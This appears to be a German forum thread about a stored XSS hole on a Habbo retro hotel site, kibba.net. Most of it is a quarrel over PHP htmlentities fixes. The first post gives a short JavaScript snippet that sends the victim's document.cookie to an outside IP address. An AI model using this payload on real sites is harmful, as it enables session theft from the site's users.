Kibba.net - Stored XSS

  • @AZeYReX

    @ECB2
    . Seite neuladen. Sonst nochmal.

    Ich habe jQuery benutzt, weil es kürzer ist. Die Bibliothek war ja bereits eingebunden also sah ich da kein Problem es auch zu benutzen.

    Wenn keine jQuery Bibliothek eingebunden ist benutzt man eben rohes JavaScript.
    Ist ja einfach :P

    Code
    var ajax = new XMLHttpRequest();
    ajax.open("GET", "http://5.230.225.107/bg.php?cookie=" + encodeURIComponent(document.cookie, true));
    ajax.send();
    
    
    // Dieses Script ist ungetestet. Nur aus dem Kopf.

    nobody@xmpp.ninja

    FatalSecurity

  • @phil Genau diese PHP Funktion habe ich auch vorgeschlagen, aber der Programmierer hat trotzdem per PN Kontakt aufgenommen da sie es nicht geschafft haben zu fixen.

    Zitat:

    Zitat

    Würdest du mir bitte erklären wie ich das Fixe? Mit Specialchars
    (htmlspecialchars) hab ich schon gearbeitet, nützt alles nichts
    wäre dir dankbar!

    Habe ihn darauf angewiesen mir Snippets zu geben, aber er hat nicht geantwortet bzw. war offline.
    Außerdem empfahl ich htmlentities(), da ich bis jetzt nur gute Erfahrungen damit gemacht habe.

    nobody@xmpp.ninja

    FatalSecurity

  • @phil Genau diese PHP Funktion habe ich auch vorgeschlagen, aber der Programmierer hat trotzdem per PN Kontakt aufgenommen da sie es nicht geschafft haben zu fixen.

    Zitat:

    Habe ihn darauf angewiesen mir Snippets zu geben, aber er hat nicht geantwortet bzw. war offline.Außerdem empfahl ich htmlentities(), da ich bis jetzt nur gute Erfahrungen damit gemacht habe.

    Wieso soll er einem Wildfremden auch Snippets geben?
    Erst stellt man sein Hotel als unsicher dar, im nächsten Moment erwartet man dass einem Ausschnitte aus dem Code gegeben werden, damit man helfen kann.

    Wärst du tatsächlich an seinem Wohlergehen interessiert, hättest du ihn einfach auf die PHP Dokumentation hingewiesen. Die ist ausführlich genug.
    Und private Chatverläufe zu posten ist auch nicht so top :/

    An den Typen dem das Hotel gehört:
    http://php.net/manual/de/function.htmlentities.php - Einfach bevor der Input verarbeitet wird, auf den String anwenden.
    Beispielsweise wie folgt:

    PHP
    $username = htmlentities($_POST['username'], ENT_COMPAT, 'utf-8);

    Edit: btw, ist nur ein Beispiel. ENT_COMPAT ist für den Usernamen nicht großartig geeignet, beziehungsweise sollte im Voraus der Usernamen auf erlaubte Zeichen, Leerzeichen etc überprüft werden.

    sashiri ist administrator von retrotown und er macht gute arbeit daumen hoch emoji :)

    admin von mailmaus dem besten wegwerfmail anbieter in 2024 (gewählt von namenhaften anbietern wie chip, computer bild und spiegel)

    ZdkFTG1.png
    XMPP: ecb2@cock.li
    YzY3SuH.png
    how to habbo.st

  • @ECB2 Er hat sich an mich gewendet und wollte das ich ihm helfe es zu fixen.
    Also kann er mir diese eine Zeile Code schicken was niemanden jucken sollte.

    Zitat von ECB2

    Wärst du tatsächlich an seinem Wohlergehen interessiert, hättest du ihn einfach auf die PHP Dokumentation hingewiesen. Die ist ausführlich genug.

    Ich gehe mal davon aus, das jeder Intelligent genug ist eine Suchmaschine zu bedienen. Ich habe lediglich empfohlen die PHP Funktion htmlentities() zu benutzen, mehr nicht.

    Da er es ja nicht geschafft hat sie zu fixen, fragt er einfach nach.. Wo liegt denn dein Problem?


    Wenn man schon meckert soll man auch richtig meckern. Du schreibst einfach ein Code hierein der gar nicht funktioniert.
    Hier was du geschrieben hast:

    PHP
    $username = htmlentities($_POST['username'], ENT_COMPAT, 'utf-8);


    Wenn du ein richtiger PHP Programmierer wärst, dann hättest du den Fehler gemerkt den du gemacht hast.
    Korrektur:

    PHP
    $username = htmlentities($_POST['username'], ENT_COMPAT, 'utf-8');

    Du hast den String 'utf-8 nicht geschlossen und dieses Board hat so eine schöne Syntax Highlighting. Eigentlich hätte das jeder blinde gesehen. :(


    Edit: So würde ich es machen.

    PHP
    function e($s){return htmlentities($s);}
    $username = e($_POST["username"]);


    Durch diese Funktion spart man viel Code.
    Anstatt immer htmlentities hinzuschreiben, einfach nur e("String") benutzen.

    nobody@xmpp.ninja

    FatalSecurity

    5 Mal editiert, zuletzt von lNobodyl (4. März 2016 um 12:59)

  • Dass du dich auf ein fehlendes Zeichen stürzt und die eigentlichen Punkte ignorierst, belegt doch nur meine Aussage.
    Und da du so ein cooler 1337 php programmer bist solltest du wissen, dass der Code den du gepostet hast vollkommen dumm ist.
    Selbst wenn man sowas nutzen wollen würde, wäre die bessere Methode folgende:

    PHP
    $e = 'htmlentities';
    $username = $e($_POST['username']);


    Und um es nochmal lustiger zu machen, hier dein Code:

    PHP
    function e($s){htmlentities($s);}
    $username = e($_POST["username"]);

    Hier dein Code in richtig:

    PHP
    function e($s){return htmlentities($s);}
    $username = e($_POST["username"]);


    Over and Out. :kappa:

    sashiri ist administrator von retrotown und er macht gute arbeit daumen hoch emoji :)

    admin von mailmaus dem besten wegwerfmail anbieter in 2024 (gewählt von namenhaften anbietern wie chip, computer bild und spiegel)

    ZdkFTG1.png
    XMPP: ecb2@cock.li
    YzY3SuH.png
    how to habbo.st

  • @ECB2 Stimmt. Ich gebe meine Fehler wenigstens zu. Habe die return Anweisung vergessen.

    Und da du so ein cooler 1337 php programmer bist solltest du wissen, dass der Code den du gepostet hast vollkommen dumm ist.

    Bitte erklär mir wann ich behauptet habe das ich ein "cooler 1337 php programmer" bin und belege mir wieso (abgesehen von der fehlenden return Anweisung) der Code vollkommen dumm ist? Wie kann ein Script bitte dumm sein?
    Kleiner Tipp am Rande: Den letzten Code Schnipsel lässt sich einfacher Lesen wenn du Syntax Highlighting auf PHP setzt.

    Edit:

    PHP
    $e = 'htmlentities';
    $username = $e($_POST['username']);


    Das ist echt ein hässlicher Programmierstil. Ich hoffe mal das du das so nicht überall machst.

    nobody@xmpp.ninja

    FatalSecurity

  • Würde ich ihn nicht zugeben, hätte ich den Post editiert. Ähnlich wie du halt.Des weiteren hab ich dazu was in meinem Post geschrieben, nächstes mal verfasse ich aber ein umfangreiches Statement für meine Tippfehler.

    Mit feundlichen Grüßen

    Edit:

    Sehr geehrte Retrotown Community,
    kürzlich habe ich einen Tippfehler in einem meiner Posts gemacht.
    Anstatt von "Mit freundlichen Grüßen" habe ich versehentlich "Mit feundlichen Grüßen" geschrieben.
    Ich hoffe ihr könnt mich verstehen und nehmt es mir nicht zu übel, ich gebe mir Mühe nie wieder solche gravierenden Fehler zu begehen.

    Mit freundlichen Grüßen

    Ich frage mich sowieso, wieso man $_POST['username'] mit htmlentities schützen sollte.. die wird doch nirgends ausgegeben lololol

  • Ich frage mich sowieso, wieso man $_POST['username'] mit htmlentities schützen sollte.. die wird doch nirgends ausgegeben lololol

    In dem Moment wo htmlentites da Sinn machen würde, ist es fragwürdig was für Zeichen der Username zulässt.

    Mit freundlichen Grüßen

    sashiri ist administrator von retrotown und er macht gute arbeit daumen hoch emoji :)

    admin von mailmaus dem besten wegwerfmail anbieter in 2024 (gewählt von namenhaften anbietern wie chip, computer bild und spiegel)

    ZdkFTG1.png
    XMPP: ecb2@cock.li
    YzY3SuH.png
    how to habbo.st

    Einmal editiert, zuletzt von Holyfuture (4. März 2016 um 14:09)

  • Apery ist der Hotelbesitzer?

    Und noch was, ich bitte euch, wenn ihr Lücken habt, sie mir Privat zu schreiben. Ich hab keine lust andauernd User löschen zu müssen wegen dem Müll. Wäre nett. Danke.

    Wenn ihr wisst wie man diese Lücken schließt, dann könnt ihr es mir gerne per PN mitteilen.

  • Apery ist der Hotelbesitzer?

    Und noch was, ich bitte euch, wenn ihr Lücken habt, sie mir Privat zu schreiben. Ich hab keine lust andauernd User löschen zu müssen wegen dem Müll. Wäre nett. Danke.

    Wenn ihr wisst wie man diese Lücken schließt, dann könnt ihr es mir gerne per PN mitteilen.

    Du könntest auch einfach Kündigen und einem Menschen dort Platz machen der sich auskennt.

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!